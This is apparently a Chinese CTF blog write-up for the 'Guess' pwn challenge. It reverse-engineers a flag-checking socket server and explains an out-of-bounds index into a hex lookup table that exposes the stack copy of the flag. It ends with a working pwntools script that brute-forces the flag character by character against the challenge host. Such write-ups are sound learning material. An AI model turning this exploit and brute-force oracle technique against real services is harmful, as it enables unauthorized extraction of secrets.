Guess

你猜,你猜,你猜不到,你猜对了就给你flag

 

checksec如下:

 

 IDA中查看main函数:

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  sockaddr_in bind_addr; // [rsp+0h] [rbp-20h] BYREF
  pid_t child_pid; // [rsp+14h] [rbp-Ch]
  int s_; // [rsp+18h] [rbp-8h]
  int s; // [rsp+1Ch] [rbp-4h]

  s = socket(2, 1, 0);
  if ( s == -1 )
  {
    perror("unable to create server socket");
    exit(1);
  }
  *(_QWORD *)&bind_addr.sin_family = 2LL;
  *(_QWORD *)bind_addr.sin_zero = 0LL;
  bind_addr.sin_port = htons(9999u);
  if ( bind(s, (const struct sockaddr *)&bind_addr, 0x10u) )
  {
    perror("unable to bind socket");
    exit(1);
  }
  if ( listen(s, 16) )
  {
    perror("deaf");
    exit(1);
  }
  while ( 1 )
  {
    while ( 1 )
    {
      s_ = accept(s, 0LL, 0LL);
      if ( s_ != -1 )
        break;
      perror("accept failed, is this bad?");
    }
    child_pid = fork();
    if ( child_pid == -1 )
    {
      perror("can't fork! that's bad, I think.");
      close(s_);
      sleep(1u);
    }
    else
    {
      if ( !child_pid )
      {
        close(s);
        handle(s_);
        exit(0);
      }
      close(s_);
    }
  }
}

是一个监听9999端口的程序,由于使用了fork,所以会新开进程,之后动态调试handle的话需要找到这个子进程

查看handle函数:

void __cdecl handle(int s)
{
  char inbuf[4096]; // [rsp+10h] [rbp-1010h] BYREF

  alarm(120u);
  if ( dup2(s, 0) == -1 || dup2(s, 1) == -1 )
    exit(1);
  setbuf(stdout, 0LL);
  puts(
    "Notice: Important!!\n"
    "This is a test program for you to test on localhost.\n"
    "Notice flag in this test program starts with `FAKE{` and the\n"
    "program on server has the real flag which starts with `PCTF{`\n"
    "\n"
    "\n"
    "\n"
    "Welcome to the super-secret flag guess validation system!\n"
    "Unfortunately, it only works for the flag for this challenge though.\n"
    "The correct flag is 50 characters long, begins with `PCTF{` and\n"
    "ends with `}` (without the quotes). All characters in the flag\n"
    "are lowercase hex (so they are in [0-9a-f]).\n"
    "\n"
    "Before you can submit your flag guess, you have to encode the\n"
    "whole guess with hex again (including the `PCTF{` and the `}`).\n"
    "This protects the flag from corruption through network nodes that\n"
    "can't handle non-hex traffic properly, just like in email.\n");
  while ( 1 )
  {
    printf("guess> ");
    if ( !fgets(inbuf, 4096, stdin) )
      break;
    rtrim(inbuf);
    if ( is_flag_correct(inbuf) )
      puts(
        "Yaaaay! You guessed the flag correctly! But do you still remember what you entered? If not, feel free to try again!");
    else
      puts("Nope.");
  }
}

注意到有一个2分钟的alarm,需要把它patch掉(key patch快捷键Ctrl+Alt+K,patch后不要忘了Edit->Patch program->Apply patches to input file)

查看rtrim函数:

void __cdecl rtrim(char *str)
{
  char *p; // [rsp+18h] [rbp-8h]

  for ( p = &str[strlen(str) - 1]; p >= str && strchr(" \r\n", *p); p -= 2 )
    *p = 0;
}

用途是去掉输入最后的空格回车之类的东西

查看is_flag_correct函数:

int __cdecl is_flag_correct(char *flag_hex)
{
  unsigned int v1; // eax
  char given_flag[50]; // [rsp+10h] [rbp-190h] BYREF
  char flag[50]; // [rsp+50h] [rbp-150h] BYREF
  char bin_by_hex[256]; // [rsp+90h] [rbp-110h] BYREF
  char value2; // [rsp+192h] [rbp-Eh]
  char value1; // [rsp+193h] [rbp-Dh]
  int i_0; // [rsp+194h] [rbp-Ch]
  char diff; // [rsp+19Bh] [rbp-5h]
  int i; // [rsp+19Ch] [rbp-4h]

  if ( strlen(flag_hex) != 100 )
  {
    v1 = strlen(flag_hex);
    printf("bad input, that hexstring should be 100 chars, but was %d chars long!\n", v1);
    exit(0);
  }
  qmemcpy(bin_by_hex, &unk_401100, sizeof(bin_by_hex));
  qmemcpy(flag, "FAKE{9b355e394d2070ebd0df195d8b234509cc29272bc412}", sizeof(flag));
  bzero(given_flag, 0x32uLL);
  for ( i = 0; i <= 49; ++i )
  {
    value1 = bin_by_hex[flag_hex[2 * i]];
    value2 = bin_by_hex[flag_hex[2 * i + 1]];
    if ( value1 == -1 || value2 == -1 )
    {
      puts("bad input – one of the characters you supplied was not a valid hex character!");
      exit(0);
    }
    given_flag[i] = value2 | (16 * value1);
  }
  diff = 0;
  for ( i_0 = 0; i_0 <= 49; ++i_0 )
    diff |= flag[i_0] ^ given_flag[i_0];
  return diff == 0;
}

unk_401100如下:

.rodata:0000000000401100 unk_401100      db 0FFh                 ; DATA XREF: is_flag_correct+58↑o
.rodata:0000000000401101                 db 0FFh
.rodata:0000000000401102                 db 0FFh
.rodata:0000000000401103                 db 0FFh
.rodata:0000000000401104                 db 0FFh
.rodata:0000000000401105                 db 0FFh
.rodata:0000000000401106                 db 0FFh
.rodata:0000000000401107                 db 0FFh
.rodata:0000000000401108                 db 0FFh
.rodata:0000000000401109                 db 0FFh
.rodata:000000000040110A                 db 0FFh
.rodata:000000000040110B                 db 0FFh
.rodata:000000000040110C                 db 0FFh
.rodata:000000000040110D                 db 0FFh
.rodata:000000000040110E                 db 0FFh
.rodata:000000000040110F                 db 0FFh
.rodata:0000000000401110                 db 0FFh
.rodata:0000000000401111                 db 0FFh
.rodata:0000000000401112                 db 0FFh
.rodata:0000000000401113                 db 0FFh
.rodata:0000000000401114                 db 0FFh
.rodata:0000000000401115                 db 0FFh
.rodata:0000000000401116                 db 0FFh
.rodata:0000000000401117                 db 0FFh
.rodata:0000000000401118                 db 0FFh
.rodata:0000000000401119                 db 0FFh
.rodata:000000000040111A                 db 0FFh
.rodata:000000000040111B                 db 0FFh
.rodata:000000000040111C                 db 0FFh
.rodata:000000000040111D                 db 0FFh
.rodata:000000000040111E                 db 0FFh
.rodata:000000000040111F                 db 0FFh
.rodata:0000000000401120                 db 0FFh
.rodata:0000000000401121                 db 0FFh
.rodata:0000000000401122                 db 0FFh
.rodata:0000000000401123                 db 0FFh
.rodata:0000000000401124                 db 0FFh
.rodata:0000000000401125                 db 0FFh
.rodata:0000000000401126                 db 0FFh
.rodata:0000000000401127                 db 0FFh
.rodata:0000000000401128                 db 0FFh
.rodata:0000000000401129                 db 0FFh
.rodata:000000000040112A                 db 0FFh
.rodata:000000000040112B                 db 0FFh
.rodata:000000000040112C                 db 0FFh
.rodata:000000000040112D                 db 0FFh
.rodata:000000000040112E                 db 0FFh
.rodata:000000000040112F                 db 0FFh
.rodata:0000000000401130                 db    0
.rodata:0000000000401131                 db    1
.rodata:0000000000401132                 db    2
.rodata:0000000000401133                 db    3
.rodata:0000000000401134                 db    4
.rodata:0000000000401135                 db    5
.rodata:0000000000401136                 db    6
.rodata:0000000000401137                 db    7
.rodata:0000000000401138                 db    8
.rodata:0000000000401139                 db    9
.rodata:000000000040113A                 db 0FFh
.rodata:000000000040113B                 db 0FFh
.rodata:000000000040113C                 db 0FFh
.rodata:000000000040113D                 db 0FFh
.rodata:000000000040113E                 db 0FFh
.rodata:000000000040113F                 db 0FFh
.rodata:0000000000401140                 db 0FFh
.rodata:0000000000401141                 db  0Ah
.rodata:0000000000401142                 db  0Bh
.rodata:0000000000401143                 db  0Ch
.rodata:0000000000401144                 db  0Dh
.rodata:0000000000401145                 db  0Eh
.rodata:0000000000401146                 db  0Fh
.rodata:0000000000401147                 db 0FFh
.rodata:0000000000401148                 db 0FFh
.rodata:0000000000401149                 db 0FFh
.rodata:000000000040114A                 db 0FFh
.rodata:000000000040114B                 db 0FFh
.rodata:000000000040114C                 db 0FFh
.rodata:000000000040114D                 db 0FFh
.rodata:000000000040114E                 db 0FFh
.rodata:000000000040114F                 db 0FFh
.rodata:0000000000401150                 db 0FFh
.rodata:0000000000401151                 db 0FFh
.rodata:0000000000401152                 db 0FFh
.rodata:0000000000401153                 db 0FFh
.rodata:0000000000401154                 db 0FFh
.rodata:0000000000401155                 db 0FFh
.rodata:0000000000401156                 db 0FFh
.rodata:0000000000401157                 db 0FFh
.rodata:0000000000401158                 db 0FFh
.rodata:0000000000401159                 db 0FFh
.rodata:000000000040115A                 db 0FFh
.rodata:000000000040115B                 db 0FFh
.rodata:000000000040115C                 db 0FFh
.rodata:000000000040115D                 db 0FFh
.rodata:000000000040115E                 db 0FFh
.rodata:000000000040115F                 db 0FFh
.rodata:0000000000401160                 db 0FFh
.rodata:0000000000401161                 db  0Ah
.rodata:0000000000401162                 db  0Bh
.rodata:0000000000401163                 db  0Ch
.rodata:0000000000401164                 db  0Dh
.rodata:0000000000401165                 db  0Eh
.rodata:0000000000401166                 db  0Fh
.rodata:0000000000401167                 db 0FFh
.rodata:0000000000401168                 db 0FFh
.rodata:0000000000401169                 db 0FFh
.rodata:000000000040116A                 db 0FFh
.rodata:000000000040116B                 db 0FFh
.rodata:000000000040116C                 db 0FFh
.rodata:000000000040116D                 db 0FFh
.rodata:000000000040116E                 db 0FFh
.rodata:000000000040116F                 db 0FFh
.rodata:0000000000401170                 db 0FFh
.rodata:0000000000401171                 db 0FFh
.rodata:0000000000401172                 db 0FFh
.rodata:0000000000401173                 db 0FFh
.rodata:0000000000401174                 db 0FFh
.rodata:0000000000401175                 db 0FFh
.rodata:0000000000401176                 db 0FFh
.rodata:0000000000401177                 db 0FFh
.rodata:0000000000401178                 db 0FFh
.rodata:0000000000401179                 db 0FFh
.rodata:000000000040117A                 db 0FFh
.rodata:000000000040117B                 db 0FFh
.rodata:000000000040117C                 db 0FFh
.rodata:000000000040117D                 db 0FFh
.rodata:000000000040117E                 db 0FFh
.rodata:000000000040117F                 db 0FFh
.rodata:0000000000401180                 db 0FFh
.rodata:0000000000401181                 db 0FFh
.rodata:0000000000401182                 db 0FFh
.rodata:0000000000401183                 db 0FFh
.rodata:0000000000401184                 db 0FFh
.rodata:0000000000401185                 db 0FFh
.rodata:0000000000401186                 db 0FFh
.rodata:0000000000401187                 db 0FFh
.rodata:0000000000401188                 db 0FFh
.rodata:0000000000401189                 db 0FFh
.rodata:000000000040118A                 db 0FFh
.rodata:000000000040118B                 db 0FFh
.rodata:000000000040118C                 db 0FFh
.rodata:000000000040118D                 db 0FFh
.rodata:000000000040118E                 db 0FFh
.rodata:000000000040118F                 db 0FFh
.rodata:0000000000401190                 db 0FFh
.rodata:0000000000401191                 db 0FFh
.rodata:0000000000401192                 db 0FFh
.rodata:0000000000401193                 db 0FFh
.rodata:0000000000401194                 db 0FFh
.rodata:0000000000401195                 db 0FFh
.rodata:0000000000401196                 db 0FFh
.rodata:0000000000401197                 db 0FFh
.rodata:0000000000401198                 db 0FFh
.rodata:0000000000401199                 db 0FFh
.rodata:000000000040119A                 db 0FFh
.rodata:000000000040119B                 db 0FFh
.rodata:000000000040119C                 db 0FFh
.rodata:000000000040119D                 db 0FFh
.rodata:000000000040119E                 db 0FFh
.rodata:000000000040119F                 db 0FFh
.rodata:00000000004011A0                 db 0FFh
.rodata:00000000004011A1                 db 0FFh
.rodata:00000000004011A2                 db 0FFh
.rodata:00000000004011A3                 db 0FFh
.rodata:00000000004011A4                 db 0FFh
.rodata:00000000004011A5                 db 0FFh
.rodata:00000000004011A6                 db 0FFh
.rodata:00000000004011A7                 db 0FFh
.rodata:00000000004011A8                 db 0FFh
.rodata:00000000004011A9                 db 0FFh
.rodata:00000000004011AA                 db 0FFh
.rodata:00000000004011AB                 db 0FFh
.rodata:00000000004011AC                 db 0FFh
.rodata:00000000004011AD                 db 0FFh
.rodata:00000000004011AE                 db 0FFh
.rodata:00000000004011AF                 db 0FFh
.rodata:00000000004011B0                 db 0FFh
.rodata:00000000004011B1                 db 0FFh
.rodata:00000000004011B2                 db 0FFh
.rodata:00000000004011B3                 db 0FFh
.rodata:00000000004011B4                 db 0FFh
.rodata:00000000004011B5                 db 0FFh
.rodata:00000000004011B6                 db 0FFh
.rodata:00000000004011B7                 db 0FFh
.rodata:00000000004011B8                 db 0FFh
.rodata:00000000004011B9                 db 0FFh
.rodata:00000000004011BA                 db 0FFh
.rodata:00000000004011BB                 db 0FFh
.rodata:00000000004011BC                 db 0FFh
.rodata:00000000004011BD                 db 0FFh
.rodata:00000000004011BE                 db 0FFh
.rodata:00000000004011BF                 db 0FFh
.rodata:00000000004011C0                 db 0FFh
.rodata:00000000004011C1                 db 0FFh
.rodata:00000000004011C2                 db 0FFh
.rodata:00000000004011C3                 db 0FFh
.rodata:00000000004011C4                 db 0FFh
.rodata:00000000004011C5                 db 0FFh
.rodata:00000000004011C6                 db 0FFh
.rodata:00000000004011C7                 db 0FFh
.rodata:00000000004011C8                 db 0FFh
.rodata:00000000004011C9                 db 0FFh
.rodata:00000000004011CA                 db 0FFh
.rodata:00000000004011CB                 db 0FFh
.rodata:00000000004011CC                 db 0FFh
.rodata:00000000004011CD                 db 0FFh
.rodata:00000000004011CE                 db 0FFh
.rodata:00000000004011CF                 db 0FFh
.rodata:00000000004011D0                 db 0FFh
.rodata:00000000004011D1                 db 0FFh
.rodata:00000000004011D2                 db 0FFh
.rodata:00000000004011D3                 db 0FFh
.rodata:00000000004011D4                 db 0FFh
.rodata:00000000004011D5                 db 0FFh
.rodata:00000000004011D6                 db 0FFh
.rodata:00000000004011D7                 db 0FFh
.rodata:00000000004011D8                 db 0FFh
.rodata:00000000004011D9                 db 0FFh
.rodata:00000000004011DA                 db 0FFh
.rodata:00000000004011DB                 db 0FFh
.rodata:00000000004011DC                 db 0FFh
.rodata:00000000004011DD                 db 0FFh
.rodata:00000000004011DE                 db 0FFh
.rodata:00000000004011DF                 db 0FFh
.rodata:00000000004011E0                 db 0FFh
.rodata:00000000004011E1                 db 0FFh
.rodata:00000000004011E2                 db 0FFh
.rodata:00000000004011E3                 db 0FFh
.rodata:00000000004011E4                 db 0FFh
.rodata:00000000004011E5                 db 0FFh
.rodata:00000000004011E6                 db 0FFh
.rodata:00000000004011E7                 db 0FFh
.rodata:00000000004011E8                 db 0FFh
.rodata:00000000004011E9                 db 0FFh
.rodata:00000000004011EA                 db 0FFh
.rodata:00000000004011EB                 db 0FFh
.rodata:00000000004011EC                 db 0FFh
.rodata:00000000004011ED                 db 0FFh
.rodata:00000000004011EE                 db 0FFh
.rodata:00000000004011EF                 db 0FFh
.rodata:00000000004011F0                 db 0FFh
.rodata:00000000004011F1                 db 0FFh
.rodata:00000000004011F2                 db 0FFh
.rodata:00000000004011F3                 db 0FFh
.rodata:00000000004011F4                 db 0FFh
.rodata:00000000004011F5                 db 0FFh
.rodata:00000000004011F6                 db 0FFh
.rodata:00000000004011F7                 db 0FFh
.rodata:00000000004011F8                 db 0FFh
.rodata:00000000004011F9                 db 0FFh
.rodata:00000000004011FA                 db 0FFh
.rodata:00000000004011FB                 db 0FFh
.rodata:00000000004011FC                 db 0FFh
.rodata:00000000004011FD                 db 0FFh
.rodata:00000000004011FE                 db 0FFh
.rodata:00000000004011FF                 db 0FFh

能看出除了0-9,a-f,A-F外全被置成了-1,所以之后计算value1和value2的时候,如果有任何值等于-1,就说明输入的有不是这个范围的数,而合法的数等于它对应的数字,之后便可以通过value2 | (16 * value1)计算得到十六进制编码之前的原文

但是这里存在着一处漏洞:由于flag_hex是传入的我们的输入,因此其可控,在之后计算value1和value2的时候便可以控制这个数组寻址的索引,可以让它指向bin_by_hex[-128~127]的任意地方

查看栈分布

 

 flag在程序中会被复制一份到栈里,而它的位置和bin_by_hex之间仅仅相差0x40

只要让value1和value2都不等于-1,就可以绕过是否是十六进制编码字符的验证,然后只要让value2 | (value1 * 16)等于flag对应的位置就可以绕过flag的验证

显然令value1=0,value2等于栈上flag对应位置的字符就可以满足上述要求

虽然绕过了验证,但是还是不知道真正的flag是什么

不过这时候就可以逐位修改爆破了,exp如下:

from pwn import *

context.log_level = 'ERROR'

charlist = '0123456789abcdefFAKE{}PCT'
flag = ''
true_flag = ''
offset = 0xC0

for i in range(50):
    true_flag += '0' + chr(offset)
    offset += 1

for i in range(50):
    for j in charlist:
        payload = list(true_flag)
        payload[i * 2] = ("%02x" % ord(j))[0]
        payload[i * 2 + 1] = ("%02x" % ord(j))[1]
        payload = ''.join(str(k) for k in payload)
        io = connect('pwn.jarvisoj.com', 9878)
        io.sendlineafter('guess> ', payload)
        r = io.recvline()
        io.close()
        if r[0] == ord('Y'):
            flag += j
            print(flag)
            break
        if j == 'T':
            print("ERROR")
            exit(0)

 

posted @ 2021-01-19 19:59  hktk1643  阅读(261)  评论(0编辑  收藏  举报